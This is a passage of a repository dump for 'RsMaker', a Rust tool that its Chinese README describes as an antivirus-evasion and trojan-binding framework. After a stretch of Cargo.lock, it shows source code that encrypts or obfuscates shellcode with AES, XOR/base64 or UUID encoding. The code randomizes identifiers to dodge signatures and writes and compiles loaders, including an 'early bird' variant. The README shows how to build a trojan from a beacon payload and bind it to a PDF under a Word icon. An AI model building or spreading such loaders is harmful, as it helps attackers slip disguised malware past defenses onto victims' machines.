893 | [[package]]
894 | name = "tinyvec"
895 | version = "1.6.0"
896 | source = "registry+https://github.com/rust-lang/crates.io-index"
897 | checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
898 | dependencies = [
899 | "tinyvec_macros",
900 | ]
901 |
902 | [[package]]
903 | name = "tinyvec_macros"
904 | version = "0.1.0"
905 | source = "registry+https://github.com/rust-lang/crates.io-index"
906 | checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c"
907 |
908 | [[package]]
909 | name = "tokio"
910 | version = "1.20.0"
911 | source = "registry+https://github.com/rust-lang/crates.io-index"
912 | checksum = "57aec3cfa4c296db7255446efb4928a6be304b431a806216105542a67b6ca82e"
913 | dependencies = [
914 | "autocfg",
915 | "bytes",
916 | "libc",
917 | "memchr",
918 | "mio",
919 | "num_cpus",
920 | "once_cell",
921 | "pin-project-lite",
922 | "socket2",
923 | "winapi",
924 | ]
925 |
926 | [[package]]
927 | name = "tokio-native-tls"
928 | version = "0.3.0"
929 | source = "registry+https://github.com/rust-lang/crates.io-index"
930 | checksum = "f7d995660bd2b7f8c1568414c1126076c13fbb725c40112dc0120b78eb9b717b"
931 | dependencies = [
932 | "native-tls",
933 | "tokio",
934 | ]
935 |
936 | [[package]]
937 | name = "tokio-util"
938 | version = "0.7.3"
939 | source = "registry+https://github.com/rust-lang/crates.io-index"
940 | checksum = "cc463cd8deddc3770d20f9852143d50bf6094e640b485cb2e189a2099085ff45"
941 | dependencies = [
942 | "bytes",
943 | "futures-core",
944 | "futures-sink",
945 | "pin-project-lite",
946 | "tokio",
947 | "tracing",
948 | ]
949 |
950 | [[package]]
951 | name = "tower-service"
952 | version = "0.3.2"
953 | source = "registry+https://github.com/rust-lang/crates.io-index"
954 | checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52"
955 |
956 | [[package]]
957 | name = "tracing"
958 | version = "0.1.35"
959 | source = "registry+https://github.com/rust-lang/crates.io-index"
960 | checksum = "a400e31aa60b9d44a52a8ee0343b5b18566b03a8321e0d321f695cf56e940160"
961 | dependencies = [
962 | "cfg-if",
963 | "pin-project-lite",
964 | "tracing-core",
965 | ]
966 |
967 | [[package]]
968 | name = "tracing-core"
969 | version = "0.1.28"
970 | source = "registry+https://github.com/rust-lang/crates.io-index"
971 | checksum = "7b7358be39f2f274f322d2aaed611acc57f382e8eb1e5b48cb9ae30933495ce7"
972 | dependencies = [
973 | "once_cell",
974 | ]
975 |
976 | [[package]]
977 | name = "try-lock"
978 | version = "0.2.3"
979 | source = "registry+https://github.com/rust-lang/crates.io-index"
980 | checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642"
981 |
982 | [[package]]
983 | name = "typenum"
984 | version = "1.15.0"
985 | source = "registry+https://github.com/rust-lang/crates.io-index"
986 | checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987"
987 |
988 | [[package]]
989 | name = "unicode-bidi"
990 | version = "0.3.8"
991 | source = "registry+https://github.com/rust-lang/crates.io-index"
992 | checksum = "099b7128301d285f79ddd55b9a83d5e6b9e97c92e0ea0daebee7263e932de992"
993 |
994 | [[package]]
995 | name = "unicode-ident"
996 | version = "1.0.0"
997 | source = "registry+https://github.com/rust-lang/crates.io-index"
998 | checksum = "d22af068fba1eb5edcb4aea19d382b2a3deb4c8f9d475c589b6ada9e0fd493ee"
999 |
1000 | [[package]]
1001 | name = "unicode-normalization"
1002 | version = "0.1.21"
1003 | source = "registry+https://github.com/rust-lang/crates.io-index"
1004 | checksum = "854cbdc4f7bc6ae19c820d44abdc3277ac3e1b2b93db20a636825d9322fb60e6"
1005 | dependencies = [
1006 | "tinyvec",
1007 | ]
1008 |
1009 | [[package]]
1010 | name = "url"
1011 | version = "2.2.2"
1012 | source = "registry+https://github.com/rust-lang/crates.io-index"
1013 | checksum = "a507c383b2d33b5fc35d1861e77e6b383d158b2da5e14fe51b83dfedf6fd578c"
1014 | dependencies = [
1015 | "form_urlencoded",
1016 | "idna",
1017 | "matches",
1018 | "percent-encoding",
1019 | ]
1020 |
1021 | [[package]]
1022 | name = "uuid"
1023 | version = "1.1.2"
1024 | source = "registry+https://github.com/rust-lang/crates.io-index"
1025 | checksum = "dd6469f4314d5f1ffec476e05f17cc9a78bc7a27a6a857842170bdf8d6f98d2f"
1026 | dependencies = [
1027 | "sha1_smol",
1028 | ]
1029 |
1030 | [[package]]
1031 | name = "vcpkg"
1032 | version = "0.2.15"
1033 | source = "registry+https://github.com/rust-lang/crates.io-index"
1034 | checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
1035 |
1036 | [[package]]
1037 | name = "version_check"
1038 | version = "0.9.4"
1039 | source = "registry+https://github.com/rust-lang/crates.io-index"
1040 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
1041 |
1042 | [[package]]
1043 | name = "walkdir"
1044 | version = "2.3.2"
1045 | source = "registry+https://github.com/rust-lang/crates.io-index"
1046 | checksum = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56"
1047 | dependencies = [
1048 | "same-file",
1049 | "winapi",
1050 | "winapi-util",
1051 | ]
1052 |
1053 | [[package]]
1054 | name = "want"
1055 | version = "0.3.0"
1056 | source = "registry+https://github.com/rust-lang/crates.io-index"
1057 | checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0"
1058 | dependencies = [
1059 | "log",
1060 | "try-lock",
1061 | ]
1062 |
1063 | [[package]]
1064 | name = "wasi"
1065 | version = "0.10.2+wasi-snapshot-preview1"
1066 | source = "registry+https://github.com/rust-lang/crates.io-index"
1067 | checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6"
1068 |
1069 | [[package]]
1070 | name = "wasi"
1071 | version = "0.11.0+wasi-snapshot-preview1"
1072 | source = "registry+https://github.com/rust-lang/crates.io-index"
1073 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
1074 |
1075 | [[package]]
1076 | name = "wasm-bindgen"
1077 | version = "0.2.80"
1078 | source = "registry+https://github.com/rust-lang/crates.io-index"
1079 | checksum = "27370197c907c55e3f1a9fbe26f44e937fe6451368324e009cba39e139dc08ad"
1080 | dependencies = [
1081 | "cfg-if",
1082 | "wasm-bindgen-macro",
1083 | ]
1084 |
1085 | [[package]]
1086 | name = "wasm-bindgen-backend"
1087 | version = "0.2.80"
1088 | source = "registry+https://github.com/rust-lang/crates.io-index"
1089 | checksum = "53e04185bfa3a779273da532f5025e33398409573f348985af9a1cbf3774d3f4"
1090 | dependencies = [
1091 | "bumpalo",
1092 | "lazy_static",
1093 | "log",
1094 | "proc-macro2",
1095 | "quote",
1096 | "syn",
1097 | "wasm-bindgen-shared",
1098 | ]
1099 |
1100 | [[package]]
1101 | name = "wasm-bindgen-futures"
1102 | version = "0.4.30"
1103 | source = "registry+https://github.com/rust-lang/crates.io-index"
1104 | checksum = "6f741de44b75e14c35df886aff5f1eb73aa114fa5d4d00dcd37b5e01259bf3b2"
1105 | dependencies = [
1106 | "cfg-if",
1107 | "js-sys",
1108 | "wasm-bindgen",
1109 | "web-sys",
1110 | ]
1111 |
1112 | [[package]]
1113 | name = "wasm-bindgen-macro"
1114 | version = "0.2.80"
1115 | source = "registry+https://github.com/rust-lang/crates.io-index"
1116 | checksum = "17cae7ff784d7e83a2fe7611cfe766ecf034111b49deb850a3dc7699c08251f5"
1117 | dependencies = [
1118 | "quote",
1119 | "wasm-bindgen-macro-support",
1120 | ]
1121 |
1122 | [[package]]
1123 | name = "wasm-bindgen-macro-support"
1124 | version = "0.2.80"
1125 | source = "registry+https://github.com/rust-lang/crates.io-index"
1126 | checksum = "99ec0dc7a4756fffc231aab1b9f2f578d23cd391390ab27f952ae0c9b3ece20b"
1127 | dependencies = [
1128 | "proc-macro2",
1129 | "quote",
1130 | "syn",
1131 | "wasm-bindgen-backend",
1132 | "wasm-bindgen-shared",
1133 | ]
1134 |
1135 | [[package]]
1136 | name = "wasm-bindgen-shared"
1137 | version = "0.2.80"
1138 | source = "registry+https://github.com/rust-lang/crates.io-index"
1139 | checksum = "d554b7f530dee5964d9a9468d95c1f8b8acae4f282807e7d27d4b03099a46744"
1140 |
1141 | [[package]]
1142 | name = "web-sys"
1143 | version = "0.3.57"
1144 | source = "registry+https://github.com/rust-lang/crates.io-index"
1145 | checksum = "7b17e741662c70c8bd24ac5c5b18de314a2c26c32bf8346ee1e6f53de919c283"
1146 | dependencies = [
1147 | "js-sys",
1148 | "wasm-bindgen",
1149 | ]
1150 |
1151 | [[package]]
1152 | name = "whoami"
1153 | version = "1.2.1"
1154 | source = "registry+https://github.com/rust-lang/crates.io-index"
1155 | checksum = "524b58fa5a20a2fb3014dd6358b70e6579692a56ef6fce928834e488f42f65e8"
1156 | dependencies = [
1157 | "wasm-bindgen",
1158 | "web-sys",
1159 | ]
1160 |
1161 | [[package]]
1162 | name = "winapi"
1163 | version = "0.3.9"
1164 | source = "registry+https://github.com/rust-lang/crates.io-index"
1165 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
1166 | dependencies = [
1167 | "winapi-i686-pc-windows-gnu",
1168 | "winapi-x86_64-pc-windows-gnu",
1169 | ]
1170 |
1171 | [[package]]
1172 | name = "winapi-i686-pc-windows-gnu"
1173 | version = "0.4.0"
1174 | source = "registry+https://github.com/rust-lang/crates.io-index"
1175 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
1176 |
1177 | [[package]]
1178 | name = "winapi-util"
1179 | version = "0.1.5"
1180 | source = "registry+https://github.com/rust-lang/crates.io-index"
1181 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
1182 | dependencies = [
1183 | "winapi",
1184 | ]
1185 |
1186 | [[package]]
1187 | name = "winapi-x86_64-pc-windows-gnu"
1188 | version = "0.4.0"
1189 | source = "registry+https://github.com/rust-lang/crates.io-index"
1190 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
1191 |
1192 | [[package]]
1193 | name = "windows-sys"
1194 | version = "0.36.1"
1195 | source = "registry+https://github.com/rust-lang/crates.io-index"
1196 | checksum = "ea04155a16a59f9eab786fe12a4a450e75cdb175f9e0d80da1e17db09f55b8d2"
1197 | dependencies = [
1198 | "windows_aarch64_msvc",
1199 | "windows_i686_gnu",
1200 | "windows_i686_msvc",
1201 | "windows_x86_64_gnu",
1202 | "windows_x86_64_msvc",
1203 | ]
1204 |
1205 | [[package]]
1206 | name = "windows_aarch64_msvc"
1207 | version = "0.36.1"
1208 | source = "registry+https://github.com/rust-lang/crates.io-index"
1209 | checksum = "9bb8c3fd39ade2d67e9874ac4f3db21f0d710bee00fe7cab16949ec184eeaa47"
1210 |
1211 | [[package]]
1212 | name = "windows_i686_gnu"
1213 | version = "0.36.1"
1214 | source = "registry+https://github.com/rust-lang/crates.io-index"
1215 | checksum = "180e6ccf01daf4c426b846dfc66db1fc518f074baa793aa7d9b9aaeffad6a3b6"
1216 |
1217 | [[package]]
1218 | name = "windows_i686_msvc"
1219 | version = "0.36.1"
1220 | source = "registry+https://github.com/rust-lang/crates.io-index"
1221 | checksum = "e2e7917148b2812d1eeafaeb22a97e4813dfa60a3f8f78ebe204bcc88f12f024"
1222 |
1223 | [[package]]
1224 | name = "windows_x86_64_gnu"
1225 | version = "0.36.1"
1226 | source = "registry+https://github.com/rust-lang/crates.io-index"
1227 | checksum = "4dcd171b8776c41b97521e5da127a2d86ad280114807d0b2ab1e462bc764d9e1"
1228 |
1229 | [[package]]
1230 | name = "windows_x86_64_msvc"
1231 | version = "0.36.1"
1232 | source = "registry+https://github.com/rust-lang/crates.io-index"
1233 | checksum = "c811ca4a8c853ef420abd8592ba53ddbbac90410fab6903b3e79972a631f7680"
1234 |
1235 | [[package]]
1236 | name = "winreg"
1237 | version = "0.10.1"
1238 | source = "registry+https://github.com/rust-lang/crates.io-index"
1239 | checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d"
1240 | dependencies = [
1241 | "winapi",
1242 | ]
1243 |
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 |
2 | [package]
3 | name = "rsmaker"
4 | version = "0.1.0"
5 | edition = "2021"
6 |
7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
8 |
9 | [dependencies]
10 | obfstr = "0.3.0"
11 | reqwest = { version = "*", features = ["blocking"] }
12 | rand = "*"
13 | base64 = "0.13.0"
14 | rust-embed="6.4.0"
15 | whoami = "*"
16 | libaes = "*"
17 | uuid={version = "1.1.2",features = [
18 | "v5", # Lets you generate random UUIDs
19 |
20 | ]}
21 | clap = "*"
22 | [profile.release]
23 | lto = true
24 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3
25 | overflow-checks = false
26 | strip = "symbols"
27 | codegen-units = 1
28 | panic = 'abort'
29 | code-model = "tiny"
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # RsMaker——基于rust的免杀生成框架
2 |
3 |
4 |
5 | ## 总体分为两大模块:免杀生成与木马捆绑
6 |
7 |
8 | ### Introduction
9 |
10 | #### 免杀生成:
11 |
12 | 免杀目前具有三种混淆方式:1、**Aes加密** 2、**base64加密** 3、**uuid**
13 | 下图使用aes方式进行演示
14 |
15 |
16 |
17 |
18 |
19 |
20 | #### 文件捆绑:
21 |
22 | 文件捆绑支持**自定义图标**、**文件**,甚至可以将exe和exe捆绑到一起。
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | ### Usage
31 |
32 | #### 首先确保您的windows机器上安装了rust并且开启了nightly模式
33 |
34 | ```
35 | 查看rust版本
36 | $ rustc --version
37 | 安装nightly
38 | $ rustup install nightly
39 | 将nightly设置为默认
40 | $ rustup default nightly
41 | 查看rust版本
42 | $ rustc --version
43 |
44 | ```
45 | #### 安装msvc nightly toolchain
46 | ```
47 | rustup target add nightly-x86_64-pc-windows-msvc
48 | ```
49 |
50 | #### 生成木马
51 | ```
52 | rsmaker.exe generate -f beacon.bin -m aes
53 | ```
54 |
55 | #### 捆绑文件
56 | ```
57 | rsmaker.exe embed -f test.pdf -t loader.exe -i word.ico
58 | ```
59 |
60 | #### 查看帮助
61 | ```
62 | rsmaker.exe -h
63 | ```
64 |
65 | # 注意
66 | * 本项目所用技术仅用于学习交流,请勿直接用于任何商业场合和非法用途。
67 | * 本项目不提供编译好的文件,仅供代码交流学习。
68 | * 本项目为学习rust的过程中的中间产物,且诞生时间要早于项目发布时间,免杀效果截至项目发布时间已经很差了。
69 |
--------------------------------------------------------------------------------
/images/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/images/.DS_Store
--------------------------------------------------------------------------------
/images/Jun-21-2022 20-09-46.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/images/Jun-21-2022 20-09-46.gif
--------------------------------------------------------------------------------
/images/Jun-21-2022 20-25-47.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/images/Jun-21-2022 20-25-47.gif
--------------------------------------------------------------------------------
/images/Jun-21-2022 20-26-46.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/images/Jun-21-2022 20-26-46.gif
--------------------------------------------------------------------------------
/src/aes_xor/aesxor.rs:
--------------------------------------------------------------------------------
1 | use rust_embed::RustEmbed;
2 | use std::fs::{write,create_dir_all};
3 | use rand::Rng;
4 | use whoami;
5 | use libaes::Cipher;
6 | use rsmaker::{RANDOM_AES_KEY,AES_PASSWORD_LEN,base64_encode,complie};
7 |
8 | #[derive(RustEmbed)]
9 | #[folder = "temp"]
10 | struct Asset;
11 |
12 | pub fn make_rs(aes_shellcode:String,password1:String,password2:String)->(){
13 |
14 | let head = Asset::get("aes/head.rs").unwrap();
15 | let head_str = std::str::from_utf8(head.data.as_ref()).unwrap();
16 |
17 | let model = Asset::get("aes/model.rs").unwrap();
18 | let model_str = std::str::from_utf8(model.data.as_ref()).unwrap();
19 |
20 | let toml = Asset::get("aes/Cargo.toml").unwrap();
21 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap();
22 |
23 | let config = Asset::get("aes/config.toml").unwrap();
24 | let config_str = std::str::from_utf8(config.data.as_ref()).unwrap();
25 |
26 | let shellcode = format!(r#"let SHELLCODE: &str = "{}";"#,aes_shellcode);
27 | let password1 = format!(r#"let PASSWORD1: &[u8; 16] = b"{}";"#,password1);
28 | let password2 = format!(r#"let PASSWORD2: &[u8; 16] = b"{}";"#,password2);
29 |
30 | let mut new_string = String::from("");
31 |
32 | new_string.push_str(head_str);
33 | new_string.push_str("\n");
34 | new_string.push_str(&shellcode);
35 | new_string.push_str("\n");
36 | new_string.push_str(&password1);
37 | new_string.push_str("\n");
38 | new_string.push_str(&password2);
39 | new_string.push_str("\n");
40 | new_string.push_str(model_str);
41 |
42 | let _ = create_dir_all("loader/src");
43 | let _ = create_dir_all("loader/.cargo");
44 | let _ = write(format!("loader/src/main.rs"), new_string);
45 | let _ = write(format!("loader/Cargo.toml"), toml_str);
46 | let config_str = &config_str.replace("XXXXXXXX", &whoami::username());
47 | let _ = write(format!("loader/.cargo/config.toml"), config_str);
48 |
49 |
50 | }
51 |
52 |
53 | pub fn run(shellcode:Vec)->std::io::Result<()>{
54 | println!("mode: AES");
55 | let (shellcode,password1,password2) = aes_base64(shellcode);
56 | make_rs(shellcode,password1,password2);
57 | complie();
58 | println!("compling....please wait...");
59 | Ok(())
60 | }
61 |
62 | pub fn aes_base64(shellcode:Vec)->(String,String,String){
63 | let mut rng = rand::thread_rng();
64 | let password1: String = (0..AES_PASSWORD_LEN)
65 | .map(|_| {
66 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len());
67 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) })
68 | }).collect();
69 |
70 | println!("aes key is {}",&password1);
71 | let password2: String = (0..AES_PASSWORD_LEN)
72 | .map(|_| {
73 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len());
74 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) })
75 | }).collect();
76 | println!("iv key is {}",&password2);
77 | let cipher = Cipher::new_128(password1.as_bytes()[0..16].try_into().unwrap());
78 | let shellcode = cipher.cbc_encrypt(password2.as_bytes(), &shellcode);
79 |
80 | let shellcode = base64_encode(shellcode);
81 |
82 | (shellcode,password1,password2)
83 |
84 | }
--------------------------------------------------------------------------------
/src/aes_xor/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod aesxor;
--------------------------------------------------------------------------------
/src/base64_xor/base64xor.rs:
--------------------------------------------------------------------------------
1 | use rust_embed::RustEmbed;
2 | use std::fs::{write,create_dir_all};
3 | use rand::Rng;
4 | use whoami;
5 | use rsmaker::{xor_fn,complie,base64_encode,CHARSET,PASSWORD_LEN};
6 |
7 |
8 |
9 | #[derive(RustEmbed)]
10 | #[folder = "temp"]
11 | struct Asset;
12 |
13 |
14 |
15 |
16 |
17 |
18 | pub fn make_rs(base64_shellcode:String,xor:u8)->(){
19 | let head = Asset::get("base64xor/head.rs").unwrap();
20 | let head_str = std::str::from_utf8(head.data.as_ref()).unwrap();
21 |
22 | let model = Asset::get("base64xor/model.rs").unwrap();
23 | let model_str = std::str::from_utf8(model.data.as_ref()).unwrap();
24 |
25 | let toml = Asset::get("base64xor/Cargo.toml").unwrap();
26 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap();
27 |
28 | let config = Asset::get("base64xor/config.toml").unwrap();
29 | let config_str = std::str::from_utf8(config.data.as_ref()).unwrap();
30 |
31 | let shellcode = format!(r#"const SHELLCODE: &str = "{}";"#,base64_shellcode);
32 | let xor = format!("\nconst XOR: u8 = {};\n",&xor);
33 |
34 | let mut new_string = String::from("");
35 |
36 | new_string.push_str(head_str);
37 | new_string.push_str("\n");
38 | new_string.push_str(&shellcode);
39 | new_string.push_str(&xor);
40 | new_string.push_str(model_str);
41 |
42 | let new_string = radom_fn(new_string);
43 | let _ = create_dir_all("loader/src");
44 | let _ = create_dir_all("loader/.cargo");
45 | let _ = write(format!("loader/src/main.rs"), new_string);
46 | let _ = write(format!("loader/Cargo.toml"), toml_str);
47 | let config_str = &config_str.replace("XXXXXXXX", &whoami::username());
48 | let _ = write(format!("loader/.cargo/config.toml"), config_str);
49 |
50 | }
51 |
52 | pub fn radom_fn(text:String)->String{
53 | let mut rng = rand::thread_rng();
54 | let password1: String = (0..PASSWORD_LEN)
55 | .map(|_| {
56 | let idx = rng.gen_range(0..CHARSET.len());
57 | char::from(unsafe { *CHARSET.get_unchecked(idx) })
58 | }).collect();
59 | let password2: String = (0..PASSWORD_LEN)
60 | .map(|_| {
61 | let idx = rng.gen_range(0..CHARSET.len());
62 | char::from(unsafe { *CHARSET.get_unchecked(idx) })
63 | }).collect();
64 | let password3: String = (0..PASSWORD_LEN)
65 | .map(|_| {
66 | let idx = rng.gen_range(0..CHARSET.len());
67 | char::from(unsafe { *CHARSET.get_unchecked(idx) })
68 | }).collect();
69 | let password4: String = (0..PASSWORD_LEN)
70 | .map(|_| {
71 | let idx = rng.gen_range(0..CHARSET.len());
72 | char::from(unsafe { *CHARSET.get_unchecked(idx) })
73 | }).collect();
74 |
75 |
76 | let mut text_rand = text.replace("base64_decode", &password1);
77 | text_rand = text_rand.replace("xor_fn", &password2);
78 | text_rand = text_rand.replace("shellcode", &password3);
79 | text_rand = text_rand.replace("SHELLCODE", &password4);
80 |
81 | text_rand
82 | }
83 |
84 |
85 | pub fn run(shellcode:Vec)->std::io::Result<()>{
86 | println!("current username is {}",whoami::username());
87 | let xor:u8 = rand::thread_rng().gen();
88 |
89 | println!("The xor random number is {}",&xor);
90 |
91 |
92 | let base64_shellcode = base64_encode(xor_fn(shellcode,xor));
93 | println!("Encrypting shellcode...");
94 | println!("Done...");
95 |
96 | println!("Encrypting loader code.....");
97 | println!("Done...");
98 | make_rs(base64_shellcode, xor);
99 |
100 | println!("Compiling please wait.....");
101 |
102 | complie();
103 |
104 | println!("Succeed!,the loader name is rsloader.exe, enjoy :)");
105 | Ok(())
106 | }
--------------------------------------------------------------------------------
/src/base64_xor/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod base64xor;
--------------------------------------------------------------------------------
/src/bird2/bird2.rs:
--------------------------------------------------------------------------------
1 | use rust_embed::RustEmbed;
2 | use std::fs::{write,create_dir_all};
3 | use rand::Rng;
4 | use whoami;
5 | use libaes::Cipher;
6 | use rsmaker::{RANDOM_AES_KEY,AES_PASSWORD_LEN,base64_encode,complie};
7 |
8 | #[derive(RustEmbed)]
9 | #[folder = "temp"]
10 | struct Asset;
11 |
12 | pub fn make_rs(aes_shellcode:String,password1:String,password2:String)->(){
13 |
14 | let head = Asset::get("bird2/head.rs").unwrap();
15 | let head_str = std::str::from_utf8(head.data.as_ref()).unwrap();
16 |
17 | let model = Asset::get("bird2/model.rs").unwrap();
18 | let model_str = std::str::from_utf8(model.data.as_ref()).unwrap();
19 |
20 | let toml = Asset::get("bird2/Cargo.toml").unwrap();
21 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap();
22 |
23 | let config = Asset::get("bird2/config.toml").unwrap();
24 | let config_str = std::str::from_utf8(config.data.as_ref()).unwrap();
25 |
26 | let shellcode = format!(r#"let SHELLCODE: &str = "{}";"#,aes_shellcode);
27 | let password1 = format!(r#"let PASSWORD1: &[u8; 16] = b"{}";"#,password1);
28 | let password2 = format!(r#"let PASSWORD2: &[u8; 16] = b"{}";"#,password2);
29 |
30 | let mut new_string = String::from("");
31 |
32 | new_string.push_str(head_str);
33 | new_string.push_str("\n");
34 | new_string.push_str(&shellcode);
35 | new_string.push_str("\n");
36 | new_string.push_str(&password1);
37 | new_string.push_str("\n");
38 | new_string.push_str(&password2);
39 | new_string.push_str("\n");
40 | new_string.push_str(model_str);
41 |
42 | let _ = create_dir_all("loader/src");
43 | let _ = create_dir_all("loader/.cargo");
44 | let _ = write(format!("loader/src/main.rs"), new_string);
45 | let _ = write(format!("loader/Cargo.toml"), toml_str);
46 | let config_str = &config_str.replace("XXXXXXXX", &whoami::username());
47 | let _ = write(format!("loader/.cargo/config.toml"), config_str);
48 |
49 |
50 | }
51 |
52 |
53 | pub fn run(shellcode:Vec)->std::io::Result<()>{
54 | println!("mode: early bird 2222 AES");
55 | let (shellcode,password1,password2) = aes_base64(shellcode);
56 | make_rs(shellcode,password1,password2);
57 | complie();
58 | println!("compling....please wait...");
59 | Ok(())
60 | }
61 |
62 | pub fn aes_base64(shellcode:Vec)->(String,String,String){
63 | let mut rng = rand::thread_rng();
64 | let password1: String = (0..AES_PASSWORD_LEN)
65 | .map(|_| {
66 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len());
67 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) })
68 | }).collect();
69 |
70 | println!("aes key is {}",&password1);
71 | let password2: String = (0..AES_PASSWORD_LEN)
72 | .map(|_| {
73 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len());
74 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) })
75 | }).collect();
76 | println!("iv key is {}",&password2);
77 | let cipher = Cipher::new_128(password1.as_bytes()[0..16].try_into().unwrap());
78 | let shellcode = cipher.cbc_encrypt(password2.as_bytes(), &shellcode);
79 |
80 | let shellcode = base64_encode(shellcode);
81 |
82 | (shellcode,password1,password2)
83 |
84 | }
--------------------------------------------------------------------------------
/src/bird2/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod bird2;
--------------------------------------------------------------------------------
/src/earlybird/earlybird.rs:
--------------------------------------------------------------------------------
1 | use rust_embed::RustEmbed;
2 | use std::fs::{write,create_dir_all};
3 | use rand::Rng;
4 | use whoami;
5 | use libaes::Cipher;
6 | use rsmaker::{RANDOM_AES_KEY,AES_PASSWORD_LEN,base64_encode,complie};
7 |
8 | #[derive(RustEmbed)]
9 | #[folder = "temp"]
10 | struct Asset;
11 |
12 | pub fn make_rs(aes_shellcode:String,password1:String,password2:String)->(){
13 |
14 | let head = Asset::get("earlybird/head.rs").unwrap();
15 | let head_str = std::str::from_utf8(head.data.as_ref()).unwrap();
16 |
17 | let model = Asset::get("earlybird/model.rs").unwrap();
18 | let model_str = std::str::from_utf8(model.data.as_ref()).unwrap();
19 |
20 | let toml = Asset::get("earlybird/Cargo.toml").unwrap();
21 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap();
22 |
23 | let config = Asset::get("earlybird/config.toml").unwrap();
24 | let config_str = std::str::from_utf8(config.data.as_ref()).unwrap();
25 |
26 | let shellcode = format!(r#"let SHELLCODE: &str = "{}";"#,aes_shellcode);
27 | let password1 = format!(r#"let PASSWORD1: &[u8; 16] = b"{}";"#,password1);
28 | let password2 = format!(r#"let PASSWORD2: &[u8; 16] = b"{}";"#,password2);
29 |
30 | let mut new_string = String::from("");
31 |
32 | new_string.push_str(head_str);
33 | new_string.push_str("\n");
34 | new_string.push_str(&shellcode);
35 | new_string.push_str("\n");
36 | new_string.push_str(&password1);
37 | new_string.push_str("\n");
38 | new_string.push_str(&password2);
39 | new_string.push_str("\n");
40 | new_string.push_str(model_str);
41 |
42 | let _ = create_dir_all("loader/src");
43 | let _ = create_dir_all("loader/.cargo");
44 | let _ = write(format!("loader/src/main.rs"), new_string);
45 | let _ = write(format!("loader/Cargo.toml"), toml_str);
46 | let config_str = &config_str.replace("XXXXXXXX", &whoami::username());
47 | let _ = write(format!("loader/.cargo/config.toml"), config_str);
48 |
49 |
50 | }
51 |
52 |
53 | pub fn run(shellcode:Vec)->std::io::Result<()>{
54 | println!("mode: early bird AES");
55 | let (shellcode,password1,password2) = aes_base64(shellcode);
56 | make_rs(shellcode,password1,password2);
57 | complie();
58 | println!("compling....please wait...");
59 | Ok(())
60 | }
61 |
62 | pub fn aes_base64(shellcode:Vec)->(String,String,String){
63 | let mut rng = rand::thread_rng();
64 | let password1: String = (0..AES_PASSWORD_LEN)
65 | .map(|_| {
66 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len());
67 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) })
68 | }).collect();
69 |
70 | println!("aes key is {}",&password1);
71 | let password2: String = (0..AES_PASSWORD_LEN)
72 | .map(|_| {
73 | let idx = rng.gen_range(0..RANDOM_AES_KEY.len());
74 | char::from(unsafe { *RANDOM_AES_KEY.get_unchecked(idx) })
75 | }).collect();
76 | println!("iv key is {}",&password2);
77 | let cipher = Cipher::new_128(password1.as_bytes()[0..16].try_into().unwrap());
78 | let shellcode = cipher.cbc_encrypt(password2.as_bytes(), &shellcode);
79 |
80 | let shellcode = base64_encode(shellcode);
81 |
82 | (shellcode,password1,password2)
83 |
84 | }
--------------------------------------------------------------------------------
/src/earlybird/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod earlybird;
--------------------------------------------------------------------------------
/src/embed/embed.rs:
--------------------------------------------------------------------------------
1 | use rust_embed::RustEmbed;
2 | use std::fs::{write,create_dir_all};
3 | use rsmaker::read_file;
4 | use rsmaker::complie;
5 |
6 | #[derive(RustEmbed)]
